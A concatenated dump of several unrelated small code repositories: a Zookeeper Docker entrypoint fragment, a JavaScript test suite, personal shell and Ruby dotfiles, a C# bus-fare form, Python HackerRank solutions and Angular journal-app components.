/opt/confluent/etc/kafka/zookeeper.properties ((COUNT++)) done else echo "STANDALONE CLUSTER - YOU ARE DOING SOMETHING VERY WRONG!" fi echo echo "### GENERATED CONFIG ###" echo "/opt/confluent/etc/kafka/zookeeper.properties" cat /opt/confluent/etc/kafka/zookeeper.properties echo "########################" echo # server.1=... #if [ -n "$SERVERS" ]; then # python -c "print '\n'.join(['server.%i=%s:2888:3888' % (i + 2, x) for i, x in enumerate('$SERVERS'.split(','))])" >> /opt/zookeeper/conf/zoo.cfg #fi sleep 2 exec "$@" <file_sep># Dockerized Confluent Zookeeper Image based on Alpine ## RUN ``` docker-compose up -d ```
289936888a8cf8c841d94b60c531569b540223c3
[ "Markdown", "Shell" ]
3
Shell
athlinks/docker-confluent-zookeeper
30c2cce53982fcc3e649b2a48f354b8d9fd6a951
2fe95a1a5086208d97ec9ad06288095edc63a634
refs/heads/master
<file_sep>describe('RNNWriter', () => { var rnnWriter; beforeEach(() => { // create new RNNWriter instance for every test rnnWriter = require('../lib/rnn-writer'); }); describe('config', () => { it('should set the config for the class', () => { expect(rnnWriter.config.numberOfSuggestionsPerRequest.order).toEqual(1); }); }); describe('Method: activate', () => { it('should add atom commands to key subscriptions', () => { rnnWriter.activate(); expect(rnnWriter.running).toBe(false); expect(rnnWriter.keySubscriptions.disposables.size).toEqual(8); }); }); describe('Method: toggle', () => { describe('already running', () => { beforeEach(() => { spyOn(rnnWriter, 'showMessage'); spyOn(rnnWriter, 'reset'); rnnWriter.running = true; rnnWriter.toggle(); }); it('should show shut down message if already running', () => { expect(rnnWriter.showMessage).toHaveBeenCalledWith('RNN Writer has shut down.'); expect(rnnWriter.running).toBe(false); expect(rnnWriter.reset).toHaveBeenCalledWith('Shutting down for now.'); }); }); }); describe('Method: deactivate', () => { beforeEach(() => { spyOn(rnnWriter, 'reset'); rnnWriter.deactivate(); }); it('should call reset', () => { expect(rnnWriter.reset).toHaveBeenCalledWith('Deactivated!'); }); }); describe('Method: reset', () => { it('should reset necessary attributes', () => { rnnWriter.reset('message'); expect(rnnWriter.suggestions).toEqual([]); expect(rnnWriter.suggestionIndex).toEqual(0); expect(rnnWriter.currentStartText).toEqual(""); expect(rnnWriter.currentSuggestionText).toEqual(""); expect(rnnWriter.offeringSuggestions).toBe(false); expect(rnnWriter.changeSuggestionInProgress).toBe(false); }); it('should log the message', () => { spyOn(console, 'log'); rnnWriter.reset('message'); expect(console.log).toHaveBeenCalledWith('message'); }); }); });
3048b3a14361bf664bda98a62315dfc6435f83d8
[ "JavaScript" ]
1
JavaScript
jonathan-ostrander/rnn-writer
73495e9000a7206b33bbb452331bf014f5ef231c
52377b5dd08f9efc0794b025a670316d0879b28c
refs/heads/master
<repo_name>luke-gru/dotfiles<file_sep>/.bash_profile [[ -s "$HOME/.rvm/scripts/rvm" ]] && . "$HOME/.rvm/scripts/rvm" [[ -r $rvm_path/scripts/completion ]] && . $rvm_path/scripts/completion case $- in *i*) . ~/.bashrc;; esac <file_sep>/setup.sh #!/bin/bash if [ -e $HOME/.vimrc ] then rm $HOME/.vimrc fi if [ -e $HOME/.gemrc ] then rm $HOME/.gemrc fi if [ -e $HOME/.git-completion.bash ] then rm $HOME/.git-completion.bash fi if [ -e $HOME/.gitconfig ] then rm $HOME/.gitconfig fi if [ -e $HOME/.gitignore ] then rm $HOME/.gitignore fi if [ -e $HOME/.irbrc ] then rm $HOME/.irbrc fi if [ -e $HOME/.ircrc ] then rm $HOME/.ircrc fi if [ -e $HOME/.rvmrc ] then rm $HOME/.rvmrc fi if [ -e $HOME/.xmodmap ] then rm $HOME/.xmodmap fi if [ -e $HOME/.inputrc ] then rm $HOME/.inputrc fi if [ -e $HOME/.bash_aliases ] then rm $HOME/.bash_aliases fi ## = remove the .NEW suffix if there aren't any conflicts # non-directory files ln -s $HOME/dotfiles/.vimrc $HOME/.vimrc ln -s $HOME/dotfiles/.tmux.conf $HOME/.tmux.conf ln -s $HOME/dotfiles/.profile $HOME/.profile.NEW ## ln -s $HOME/dotfiles/.bash_profile $HOME/.bash_profile.NEW ## ln -s $HOME/dotfiles/.bashrc $HOME/.bashrc.NEW ## touch $HOME/.bashrc.local ln -s $HOME/dotfiles/.bash_aliases $HOME/.bash_aliases ln -s $HOME/dotfiles/.git-completion.bash $HOME/.git-completion.bash ln -s $HOME/dotfiles/.gitconfig $HOME/.gitconfig ln -s $HOME/dotfiles/.gitignore_global $HOME/.gitignore ln -s $HOME/dotfiles/.ircrc $HOME/.ircrc ln -s $HOME/dotfiles/.irbrc $HOME/.irbrc ln -s $HOME/dotfiles/.rvmrc $HOME/.rvmrc ln -s $HOME/dotfiles/.gemrc $HOME/.gemrc ln -s $HOME/dotfiles/.inputrc $HOME/.inputrc ln -s $HOME/dotfiles/.xmodmap $HOME/.xmodmap <file_sep>/.bash_aliases # vim: ft=sh # some more ls aliases alias ll='ls -alF' alias la='ls -A' alias l='ls -CF' # all non-hidden dirs in current directory alias lsd='ls -d */' # all dirs in current directory alias lsda='ls -d */ .*/' # list all files in current directory alias lsf='find . -maxdepth 1 -type f -print | cut -c 3- | xargs ls' alias hid="lsf | grep -e '^\.'" alias cls='clear; ls' alias e='exit' alias lsa='ls -a' # bashrc # reload bash config alias reload='source ~/.bashrc' alias bashrc='$EDITOR ~/.bashrc' mdir () { mkdir -p "$1"; cd "$1"; } # sysadmin type stuff # list processes in terms of cpu % alias pcpu='ps -e -o pcpu,cpu,nice,state,cputime,args --sort pcpu | sed "/^ 0.0 /d"' alias ip="ifconfig | grep -Eo 'inet addr:192\.[^ ]+' | grep -Eo [0-9.]+" if [ `uname -s | grep -ie 'linux'` ]; then # Add an "alert" alias for long running commands. Use like so: # sleep 10; alert alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"' # copy/paste to/from clipboard if type -p 'xclip' > /dev/null 2>&1 then alias pbcopy='xclip -selection clipboard' alias pbpaste='xclip -selection clipboard -o' fi fi # vim stuff # for use after ack list search: alias vimp='vim $(!!)' alias vimpack='vim $(!! -l)' # good ol gv, good in terminal and good in vim! alias gv='gvim --remote-silent' alias vimrc='$EDITOR ~/.vimrc' # ack if type -p "ack-grep" > /dev/null 2>&1 then alias ack='ack-grep' fi if type -p "gnome-terminal" > /dev/null 2>&1 then alias newg="gnome-terminal &" fi if type -p "gnome-terminal" > /dev/null 2>&1 then alias newx="xterm &" fi if type -p "tmux" > /dev/null 2>&1 then # start tmux with 256 colors alias tmux="tmux -2" fi if type -p "rvm" > /dev/null 2>&1 then echo "woohoo" alias gemset='rvm gemset name' alias gemsets='rvm gemset list' alias rubies='rvm list' fi if type -p "ruby" > /dev/null 2>&1 then alias gems='gem list' alias bexec="bundle exec" fi if type -p "git" > /dev/null 2>&1 then alias g='git' alias gdiff='git diff | gvim --remote-silent' # change the rebasing defaults alias alwaysrebase='git config branch.autosetuprebase always' alias localrebase='git config branch.autosetuprebase local' alias neverrebase='git config branch.autosetuprebase never' fi if type -p "sensible-browser" > /dev/null 2>&1 then alias browse='sensible-browser' fi if type -p "markdown" > /dev/null 2>&1 then alias md='markdown' mdme () { markdown "$1" > "$1.html"; browse "$1.html"; } fi # For use with the '$HOME/.dirs' directory. Source a file in that directory and quickly # navigate between useful directories for a project. alias dirs="\dirs -v" alias 1="cd ~+1" alias 2="cd ~+2" alias 3="cd ~+3" alias 4="cd ~+4" alias 5="cd ~+5" <file_sep>/.irbrc require 'pp' require 'fileutils' def require_and_msg(lib) begin require lib rescue LoadError => e puts "couldn't load #{lib}" return end puts "loaded #{lib}" end def _require(lib) require lib libs = yield libs.each {|l| require_and_msg l} end _require "rubygems" do [].tap do |libs| libs << 'interactive_editor' libs << 'active_support/all' end end def h help end def e quit end alias q e def ls files = Dir.glob('*').sort files.each do |f| if Dir.exists? f puts f + '/' else puts f end end nil end def loaded_gems $:.select do |p| p =~ /rvm\/gems/ end.each do |_p| puts _p end nil end def add_load_path(dir=`pwd`) dir.chomp! if dir[-1] == "\n" $:.unshift dir dir << '/' unless dir[-1] == '/' files = Dir.glob("#{dir}*") files.each {|f| f << '/' if Dir.exists? f} end class Object def local_methods if self.instance_of?(Class) (methods - Class.instance_methods).sort else (methods - Object.instance_methods).sort end end end class Class def local_instance_methods (instance_methods - Class.instance_methods).sort end end class Module def ancestor_type ancestors = self.ancestors ancestors.reverse_each do |mod| if mod.instance_of? Module puts mod.to_s + " (module)" elsif mod.instance_of? Class puts mod.to_s + " (class)" end end end end class Range def method_missing(method, *args, &block) if [].respond_to? method to_a.__send__(method, *args, &block) else super end end end
65d917790e8b05945f560d0c81f1611760272f53
[ "Ruby", "Shell" ]
4
Shell
luke-gru/dotfiles
01cfc60759b9afefd1efd85aa6437cda0e124c67
0dd8c26e84769c61d7c6182e3a74b88384409668
refs/heads/master
<repo_name>dmonteirosouza/nestjs-api<file_sep>/.env.example DB_CONNECTION=mysql DB_HOST=db DB_USERNAME=root DB_PASSWORD=<PASSWORD> DB_DATABASE=fin DB_PORT=3306<file_sep>/src/accounts/accounts.service.ts import { Injectable } from '@nestjs/common'; import { InjectModel } from '@nestjs/sequelize'; import { CreateAccountDto } from './dto/create-account.dto'; import { Account } from './entities/account.entity'; @Injectable() export class AccountsService { constructor( @InjectModel(Account) private accountEntity: typeof Account ) { } create(createAccountDto: CreateAccountDto) { return this.accountEntity.create(createAccountDto); } findAll() { return this.accountEntity.findAll(); } findOne(id: number) { return this.accountEntity.findByPk(id, { rejectOnEmpty: true }); } }
0119482d69ad75aeea8f212241d012ba9e0d18d1
[ "TypeScript", "Shell" ]
2
Shell
dmonteirosouza/nestjs-api
14277c69a08a614b375c8801d08cedd2018c383a
5fdb3f6f12d4c5f8826257234c8ba74c38d24c62
refs/heads/master
<repo_name>crhnine/CSC240X_Week_2<file_sep>/WhippetBus/WhippetBus/Form1.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace WhippetBus { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void label6_Click(object sender, EventArgs e) { } private void textBox1_TextChanged(object sender, EventArgs e) { } private void button1_Click(object sender, EventArgs e) { long input = int.Parse(textBox1.Text); long first_reqA = Convert.ToInt64(0); long first_reqB = Convert.ToInt64(99); long second_reqA = Convert.ToInt64(100); long second_reqB = Convert.ToInt64(299); long third_reqA = Convert.ToInt64(300); long third_reqB = Convert.ToInt64(499); long fourth_req = Convert.ToInt64(500); double first_price = Convert.ToDouble(label7.Text); double second_price = Convert.ToDouble(label10.Text); double third_price = Convert.ToDouble(label9.Text); double fourth_price = Convert.ToDouble(label8.Text); if(input < first_reqA) { label12.Visible = true; label15.Visible = true; label15.Text = "We do not transport in reverse."; } if (!(input > first_reqB) && (input >= first_reqA)) { label12.Visible = true; label15.Visible = true; label15.Text = "$ " + Convert.ToString(first_price); } if (!(input > second_reqB) && (input >= second_reqA)) { label12.Visible = true; label15.Visible = true; label15.Text = "$ " + Convert.ToString(second_price); } if (!(input > third_reqB) && (input >= third_reqA)) { label12.Visible = true; label15.Visible = true; label15.Text = "$ " + Convert.ToString(third_price); } if ((input >= fourth_req) && (!(input >= 5999))) { label12.Visible = true; label15.Visible = true; label15.Text = "$ " + Convert.ToString(fourth_price); } if (input >= 6000) { label12.Visible = true; label15.Visible = true; label15.Text = "Mileage entered exceeds allowable amount."; }; } } }
1d6ad466e765c2f4aaab950d4d56984a6317ee36
[ "C#" ]
1
C#
crhnine/CSC240X_Week_2
7928829e552e5055e504f215fc3d16adf81ab57b
0644afcafbe7039c478095146ce5d04bc2875eff
refs/heads/master
<file_sep>import requests filename = "changuito.jpg" files = {"my_file": (filename, open(filename, "rb"))} response = requests.post( "http://127.0.0.1:8000/file", files=files, ) print(response.json()) <file_sep>from fastapi import FastAPI, File, UploadFile, Form from PIL import Image from tensorflow.keras.applications.resnet50 import ResNet50 from tensorflow.keras.preprocessing import image from tensorflow.keras.applications.resnet50 import preprocess_input, decode_predictions import numpy as np # Para recibir el modelo model = ResNet50(weights="imagenet") # Inicializamos fastApi app = FastAPI() # Python code to convert into dictionary def Convert(tup, di): di = dict(tup) return di # Para recibir un archivo en este caso una imagen @app.post("/file") async def _file_upload( my_file: UploadFile = File(...), ): # Tomamos el archivo para eso es el .file img_path = my_file.file # Convertimos nuestra imagen a un formato especifico para el modelo img = image.load_img(img_path, target_size=(224, 224)) x = image.img_to_array(img) x = np.expand_dims(x, axis=0) x = preprocess_input(x) # Esto se hizo para saber si realmente recibiamos la imagen # Esto abre una imagen con pillow # im = Image.open(my_file.file) # im.show() # Sacamos las predicciones de la imagen en el modelo preds = model.predict(x) # Tomamos las primeras 3 predicciones, estas nos crean una lista de tuplas # Y de ahi lo hacemos diccionario lst = decode_predictions(preds, top=3)[0] a_list = [a_tuple[1:] for a_tuple in lst] dictionary = {} dictionary = Convert(a_list, dictionary) # El diccionario esta en numpy.float32 y lo convertimos a float normal de python for k, v in dictionary.items(): dictionary[k] = float(v) # Agregamos el nombre del archivo al diccionario dictionary["name"] = my_file.filename # Retornamos el diccionario con el nombre de la imagen y con las predicciones return dictionary
61b480cc0709e2e784a8b1c8afb791ab07cebc2d
[ "Python" ]
2
Python
MJVNOR/ResNet50Api
48ab26e4227f58c8d20f25837f18a599651d35b1
926139c599f49f9a3c91d971ea1ac76d5785c1ea
refs/heads/master
<repo_name>Freesmil/BandsProject<file_sep>/band_v2/BandsProject/src/main/java/cz/muni/fi/pv168/bandsproject/BandManagerImpl.java package cz.muni.fi.pv168.bandsproject; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.SQLException; import java.util.List; import javax.sql.DataSource; import java.sql.*; import java.util.ArrayList; import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.jdbc.core.RowMapper; /** * Created by Lenka on 9.3.2016. */ public class BandManagerImpl implements BandManager{ private final DataSource dataSource; private JdbcTemplate jdbcTemplateObject; public BandManagerImpl(DataSource dataSource) { this.dataSource = dataSource; } @Override public void createBand(Band band) throws ServiceFailureException { validate(band); if (band.getId() != null) { throw new IllegalArgumentException("band id is already set"); } String SQL = "INSERT INTO BAND (name,styles,region,pricePerHour,rate) VALUES (?,?,?,?,?)"; jdbcTemplateObject.update(SQL, band.getName(), band.getStyles().toString(), band.getRegion().ordinal(), band.getPricePerHour(), band.getRate()); } @Override public void updateBand(Band band) throws ServiceFailureException { validate(band); if(band.getId() == null) { throw new IllegalArgumentException("band id is null"); } String SQL = "UPDATE BAND SET name = ?,styles = ?,region = ?,pricePerHour = ?,rate = ? WHERE id = ?"; jdbcTemplateObject.update(SQL, band.getName(), band.getStyles().toString(), band.getRegion().ordinal(), band.getPricePerHour(), band.getRate(), band.getId()); } @Override public void deleteBand(Band band) throws ServiceFailureException { if (band == null) { throw new IllegalArgumentException("band is null"); } if (band.getId() == null) { throw new IllegalArgumentException("band id is null"); } String SQL = "DELETE FROM band WHERE id = ?"; jdbcTemplateObject.update(SQL, band.getId()); //UPDATE?? } @Override public Band findBandById(Long id) throws ServiceFailureException { String SQL = "SELECT * FROM BAND WHERE id = ?"; Band band = jdbcTemplateObject.queryForObject(SQL, new Object[]{id}, new BandMapper()); return band; } @Override public List<Band> findBandByName(String name) throws ServiceFailureException { try (Connection connection = dataSource.getConnection(); PreparedStatement st = connection.prepareStatement( "SELECT id,name,styles,region,pricePerHour,rate FROM BAND WHERE name LIKE ?")) { st.setString(1, name); ResultSet rs = st.executeQuery(); List<Band> bands = new ArrayList<>(); while(rs.next()) { bands.add(resultSetToBand(rs)); } return bands; } catch (SQLException ex) { throw new ServiceFailureException( "Error when retrieving band with name " + name, ex); } } @Override //// TODO public List<Band> findBandByStyles(List<Style> styles) { throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates. } @Override //// TODO public List<Band> findBandByRegion(List<Region> regions) { String s = ""; for(Region r: regions){ s += r.ordinal()+", "; } s = s.substring(0, s.length()-2); try (Connection connection = dataSource.getConnection(); PreparedStatement st = connection.prepareStatement( "SELECT * FROM BAND WHERE region IN ("+s+")")) { ResultSet rs = st.executeQuery(); List<Band> bands = new ArrayList<>(); while(rs.next()) { bands.add(resultSetToBand(rs)); } return bands; } catch (SQLException ex) { throw new ServiceFailureException( "Error when retrieving band with regions " + regions.toString(), ex); } } @Override public List<Band> findBandByPriceRange(Double from, Double to) throws ServiceFailureException { try (Connection connection = dataSource.getConnection(); PreparedStatement st = connection.prepareStatement( "SELECT id,name,styles,region,pricePerHour,rate FROM BAND " + "WHERE pricePerHour >= ? AND pricePerHour <= ?")) { st.setDouble(1, from); st.setDouble(2, to); ResultSet rs = st.executeQuery(); List<Band> bands = new ArrayList<>(); while(rs.next()) { bands.add(resultSetToBand(rs)); } return bands; } catch (SQLException ex) { throw new ServiceFailureException( "Error when retrieving band with price from " + from + " to " + to, ex); } } @Override public List<Band> findBandByRate(Double from) throws ServiceFailureException { try (Connection connection = dataSource.getConnection(); PreparedStatement st = connection.prepareStatement( "SELECT id,name,styles,region,pricePerHour,rate FROM BAND WHERE rate >= ?")) { st.setDouble(1, from); ResultSet rs = st.executeQuery(); List<Band> bands = new ArrayList<>(); while(rs.next()) { bands.add(resultSetToBand(rs)); } return bands; } catch (SQLException ex) { throw new ServiceFailureException( "Error when retrieving band with rate from " + from, ex); } } /** * * @param band * @throws IllegalArgumentException */ private void validate(Band band) throws IllegalArgumentException { if (band == null) { throw new IllegalArgumentException("band is null"); } if (band.getName() == null) { throw new IllegalArgumentException("band name is null"); } if (band.getStyles() == null) { throw new IllegalArgumentException("band styles is null"); } if (band.getRegion() == null) { throw new IllegalArgumentException("band region is null"); } if (band.getPricePerHour() < 0) { throw new IllegalArgumentException("band price per hour is negative"); } if (band.getRate() < 0) { throw new IllegalArgumentException("band rate is negative"); } } /** * * @param rs * @return * @throws SQLException */ private Band resultSetToBand(ResultSet rs) throws SQLException { Band band = new Band(); band.setId(rs.getLong("id")); band.setBandName(rs.getString("name")); band.setStyles(convertStringToEnum(rs.getString("styles"))); band.setRegion(Region.values()[rs.getInt("region")]); band.setPricePerHour(rs.getDouble("pricePerHour")); band.setRate(rs.getDouble("rate")); return band; } /** * * @param str * @return */// ZMAZAT private List<Style> convertStringToEnum(String str) { String styles[] = str.split(" "); if(styles.length == 0) { return null; } List<Style> styleList = new ArrayList<>(); for(int i = 0; i < styles.length; i++) { styleList.add(Style.valueOf(styles[i])); } return styleList; } public class BandMapper implements RowMapper<Band> { public Band mapRow(ResultSet rs, int rowNum) throws SQLException { Band band = new Band(); band.setId(rs.getLong("id")); band.setBandName(rs.getString("name")); band.setStyles(convertStringToEnum(rs.getString("styles"))); band.setRegion(Region.values()[rs.getInt("region")]); band.setPricePerHour(rs.getDouble("pricePerHour")); band.setRate(rs.getDouble("rate")); return band; } } }
937cf21539162386107184294490cf611907e20e
[ "Java" ]
1
Java
Freesmil/BandsProject
84cec40344ca3736df82991ebfc90ca5c804a9b9
cf82315832ba44ac349cc78d7889bc5bd53298e8
refs/heads/main
<repo_name>DuaneDeane/organicstore_109<file_sep>/src/components/productincart/productInCart.jsx import React, { Component } from 'react'; import "./productInCart.css"; import {removeProductFromCart} from '../../store/actions/actions'; import { connect } from 'react-redux'; class ProductInCart extends Component { state = { } render() { return ( <div className='cart'> <h1>{this.props.data.product.title}</h1> <img src={"/products/"+this.props.data.product.image}></img> <li>Quantity: {this.props.data.quantity}</li> <li>Price: ${this.props.data.product.price}</li> <li>Total: ${this.props.data.quantity * this.props.data.product.price}</li> <button onClick={this.removeClicked} className="btn btn-sm btn-info">Remove</button> </div> ) } removeClicked = () => { console.log("Dispatching action"); var removedProduct = { product: this.props.data.product, quantity: this.props.data.quantity }; this.props.removeProductFromCart(removedProduct); } } export default connect(null, {removeProductFromCart})(ProductInCart);<file_sep>/src/todo/todo.jsx import React, { Component } from "react"; import "./todo.css"; import { connect } from "react-redux"; import { addTodo } from "../store/actions/actions"; class Todo extends Component { state = { todoText: "", todos: [], }; render() { return ( <div> <h5>Simple todo App</h5> <div> <input type="text" value={this.state.todoText} onChange={this.handleTextChange} placeholder="Todo text" ></input> <button onClick={this.hanldeButtonClick}>Add</button> </div> <div id="todoList"> <ul> {this.props.todo.map((text) => ( <li key={text}>{text}</li> ))} </ul> </div> </div> ); } addTodo = () => { console.log(this.state.todoText); this.state.todos.push(this.state.todoText); this.setState({ todoText: "", }); }; handleTextChange = (event) => { this.setState({ todoText: event.target.value }); }; hanldeButtonClick = () => { console.log("Clicked!!!"); this.props.addTodo(this.state.todoText); }; } const mapStateToProps = (state) => { return { todo: state.todo, }; }; export default connect(mapStateToProps, { addTodo })(Todo);
09b12683d3a42d99c81f1bbaf446e223e14b3b2b
[ "JavaScript" ]
2
JavaScript
DuaneDeane/organicstore_109
669cd29e5fae2306b035d4fd8195a7db83e15a50
182655e706795e0badd03cbe6f2c8382ebd331a1
refs/heads/master
<file_sep># Default Menu CSS 3 CSS3 based menu; Responsive; Sticky Header; <a href="http://julienlazare.com/defaultMenuCSS3">View demo</a> Made with Hover.css, Animate.css, Font-Awesome and jQuery. <NAME>, 2016 <file_sep> (function($){ "use strict"; // SHOW/HIDE MOBILE MENU // function show_hide_mobile_menu() { $(".mobile-menu-button").on("click", function(e) { e.preventDefault(); $("#mobile-menu").slideToggle(300); }); } // MOBILE MENU // function mobile_menu() { if ($(window).width() < 992) { if ($("#menu").length > 0) { if ($("#mobile-menu").length < 1) { $("#menu").clone().attr({ id: "mobile-menu", class: "" }).insertAfter("#header"); $("#mobile-menu .dropdown ul li").removeClass("hvr-sweep-to-right"); $("#mobile-menu .dropdown").on("click", function(e) { $(this).removeClass('submenu'); }); $("#mobile-menu .dropdown > a").on("click", function(e) { e.preventDefault(); $(this).removeClass('submenu'); $(this).toggleClass("open").next("ul").slideToggle(300); }); } } } else { $("#mobile-menu").hide(); } } // STICKY // function sticky() { var sticky_point = $("#header").innerHeight() + 20; $("#header").clone().attr({ id: "header-sticky", class: "" }).insertAfter("header"); $(window).scroll(function(){ if ($(window).scrollTop() > sticky_point) { $("#header-sticky").slideDown(300).addClass("header-sticky"); $("#header .main-menu").css({"visibility": "hidden"}); } else { $("#header-sticky").slideUp(100).removeClass("header-sticky"); $("#header .main-menu").css({"visibility": "visible"}); } }); } // DOCUMENT READY // $(document).ready(function(){ // STICKY // sticky(); // SHOW/HIDE MOBILE MENU // show_hide_mobile_menu(); // MOBILE MENU // mobile_menu(); }); // WINDOW RESIZE // $(window).resize(function() { mobile_menu(); }); })(window.jQuery);
45fc94a921990a5d08a96f49d9e500a24a2b8d48
[ "Markdown", "JavaScript" ]
2
Markdown
julienlazare/defaultMenuCSS3
1d38d78e8ba42f1d12b3a4596d46acbd08237030
0682517a8051c42361a39c2864c5453b87fd6396
refs/heads/master
<repo_name>keweishang/hackerrank<file_sep>/Algorithms/FibModified.py # Enter your code here. Read input from STDIN. Print output to STDOUT f0, f1, n = (int(i) for i in raw_input().strip().split()) result_dict = {} def fib(n): if n == 0: return f0 if n == 1: return f1 if n in result_dict: return result_dict[n] else: result_dict[n] = pow(fib(n-1),2) + fib(n-2) return result_dict[n] result = 0 for i in range(n): result = fib(i) print result<file_sep>/Algorithms/matrix_rotation.py # Enter your code here. Read input from STDIN. Print output to STDOUT def column(matrix, col, start_idx_row, height): return [row[col] for row in matrix[start_idx_row:start_idx_row + height]] def set_column(matrix, col, start_idx_row, height, values): i = 0 for cur_row in range(start_idx_row, start_idx_row + height): matrix[cur_row][col] = values[i] i += 1 # Initialise parameters M, N, R = map(int, raw_input().strip().split()) # Build matrix matrix = [] for i in range(M): matrix.append(raw_input().strip().split()) height = M width = N start_idx_row = 0 start_idx_col = 0 while height > 0 and width > 0: oneline = [] # Add top to oneline oneline.extend(matrix[start_idx_row][start_idx_col:start_idx_col + width]) # Add right if height > 2: right_col = start_idx_col + width - 1 right_row = start_idx_row + 1 right_height = height - 2 oneline.extend(column(matrix, right_col, right_row, right_height)) # Add bottom bottom_row = start_idx_row + height - 1 oneline.extend(reversed(matrix[bottom_row][start_idx_col:start_idx_col + width])) # Add left if height > 2: left_row = start_idx_row + 1 left_height = height - 2 oneline.extend(reversed(column(matrix, start_idx_col, left_row, left_height))) # Real Rotation number rotations = R % (height * 2 + width * 2 - 4) # Rotate oneline oneline = oneline[rotations:] + oneline[:rotations] # Put rotation back to top cur_idx = 0 matrix[start_idx_row][start_idx_col:start_idx_col + width] = oneline[cur_idx:cur_idx + width] cur_idx += width # Put back to right if height > 2: right_col = start_idx_col + width - 1 right_row = start_idx_row + 1 right_height = height - 2 set_column(matrix, right_col, right_row, right_height, oneline[cur_idx:cur_idx + right_height]) cur_idx += right_height # Put back to bottom bottom_row = start_idx_row + height - 1 matrix[bottom_row][start_idx_col:start_idx_col + width] = reversed(oneline[cur_idx:cur_idx + width]) cur_idx += width # Put back to left if height > 2: left_row = start_idx_row + 1 left_height = height - 2 set_column(matrix, start_idx_col, left_row, left_height, list(reversed(oneline[cur_idx:cur_idx + left_height]))) start_idx_row += 1 start_idx_col += 1 height -= 2 width -= 2 for line in matrix: print ' '.join(line)<file_sep>/python_syntax.py # Separate a string by sep from the rear name,space,price = raw_input().rpartition(' ') # Iterate through dict items, each item is a tuple for item_name, net_price in my_order.items(): print item_name, net_price # Create a list of list using for loop b = [[1,2,3,4,5,6,7] for _ in range(n)]<file_sep>/Algorithms/BFSShortestReach.py # Enter your code here. Read input from STDIN. Print output to STDOUT from __future__ import print_function from collections import deque class Node(object): def __init__(self, id, visited=False, distance=-1): self.id = id self.visited = visited self.distance = distance self.neighbours = [] def test(): n_nodes, n_edges = (int(number) for number in raw_input().strip().split()) nodes = {} # Add all nodes in order for id in range(n_nodes): nodes[id+1] = Node(id+1) # Add edges for _ in range(n_edges): start_id, end_id = (int(number) for number in raw_input().strip().split()) nodes[start_id].neighbours.append(nodes[end_id]) nodes[end_id].neighbours.append(nodes[start_id]) # Start from node start_node = nodes[input()] start_node.distance = 0 start_node.visited = True queue = deque() queue.append(start_node) while queue: head = queue.popleft() for node in head.neighbours: if not node.visited: node.visited = True node.distance = head.distance + 6 queue.append(node) for i in range(1, n_nodes + 1): distance = str(nodes[i].distance) if distance != '0': print(distance, end=' ', sep='') print('', end='\n') def main(): total = input() for _ in range(total): test() # This is the standard boilerplate that calls the main() function. if __name__ == '__main__': main() <file_sep>/Algorithms/sherlock-and-the-beast.py #!/bin/python import sys def findDecentNumber(n, counter): if n < 0: return False if n % 3 == 0: counter[3] = n/3 return True elif findDecentNumber(n-5, counter): counter[5] += 1 return True else: return False t = int(raw_input().strip()) for a0 in xrange(t): n = int(raw_input().strip()) counter = {3:0, 5:0} if findDecentNumber(n, counter): result = [] for _ in range(counter[3]): result.extend(['5']*3) for _ in range(counter[5]): result.extend(['3'] * 5) print ''.join(result) else: print '-1' <file_sep>/Algorithms/newyear-chaos.py #!/bin/python import sys def bubblesort(numbers, length): switch_count = 0 last_idx = 0 for _ in range(0, 2): # Only need to iterate two times because each person can bribe maximum two times start_idx = length - 1 # Starting from the minimum label at the end of the linebecause the 1st person # could be bribed all the time, which make him the last person in the line while last_idx < start_idx: if numbers[start_idx] < numbers[start_idx - 1]: # Swap tmp = numbers[start_idx] numbers[start_idx] = numbers[start_idx - 1] numbers[start_idx - 1] = tmp switch_count += 1 start_idx -= 1 last_idx += 1 return switch_count T = int(raw_input().strip()) for a0 in xrange(T): n = int(raw_input().strip()) q = map(int, raw_input().strip().split(' ')) chaotic = False # Too chaotic case for idx, element in enumerate(q): if element - idx > 3: chaotic = True break if chaotic: print 'Too chaotic' else: bribe_count = bubblesort(q, n) print str(bribe_count)
4d60439bcba1c7f9bf9880b1030a1c4092b0b87c
[ "Python" ]
6
Python
keweishang/hackerrank
45aa82b39794b12fb2edbf7673e5dc608d5b3916
f3f7607db69081fcc74c09d494f5a5dceeff9c22
refs/heads/master
<file_sep>import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { FormsModule } from '@angular/forms'; import { AppRoutingModule } from './app-routing.module'; import { AppComponent } from './app.component'; import { DatePickerComponent } from './date-picker/date-picker.component'; import { MessageInputComponent } from './message-input/message-input.component'; import { MessageTagComponent } from './message-tag/message-tag.component'; import { JournalServiceService } from './journal-service.service'; import { HttpClientModule } from '@angular/common/http'; @NgModule({ declarations: [ AppComponent, DatePickerComponent, MessageInputComponent, MessageTagComponent ], imports: [ BrowserModule, AppRoutingModule, FormsModule, HttpClientModule ], providers: [JournalServiceService], bootstrap: [AppComponent] }) export class AppModule { } <file_sep>export interface IJournalMessage { t: Date, m: string }<file_sep>import { async, ComponentFixture, TestBed } from '@angular/core/testing'; import { MessageTagComponent } from './message-tag.component'; describe('MessageTagComponent', () => { let component: MessageTagComponent; let fixture: ComponentFixture<MessageTagComponent>; beforeEach(async(() => { TestBed.configureTestingModule({ declarations: [ MessageTagComponent ] }) .compileComponents(); })); beforeEach(() => { fixture = TestBed.createComponent(MessageTagComponent); component = fixture.componentInstance; fixture.detectChanges(); }); it('should create', () => { expect(component).toBeTruthy(); }); }); <file_sep>import { TestBed } from '@angular/core/testing'; import { JournalServiceService } from './journal-service.service'; describe('JournalServiceService', () => { beforeEach(() => TestBed.configureTestingModule({})); it('should be created', () => { const service: JournalServiceService = TestBed.get(JournalServiceService); expect(service).toBeTruthy(); }); }); <file_sep>import { Component, OnInit, Input } from '@angular/core'; import { JournalServiceService } from '../journal-service.service'; @Component({ selector: 'app-message-tag', templateUrl: './message-tag.component.html', styleUrls: ['./message-tag.component.scss'] }) export class MessageTagComponent implements OnInit { public messages = []; constructor(private _journalService: JournalServiceService) { } 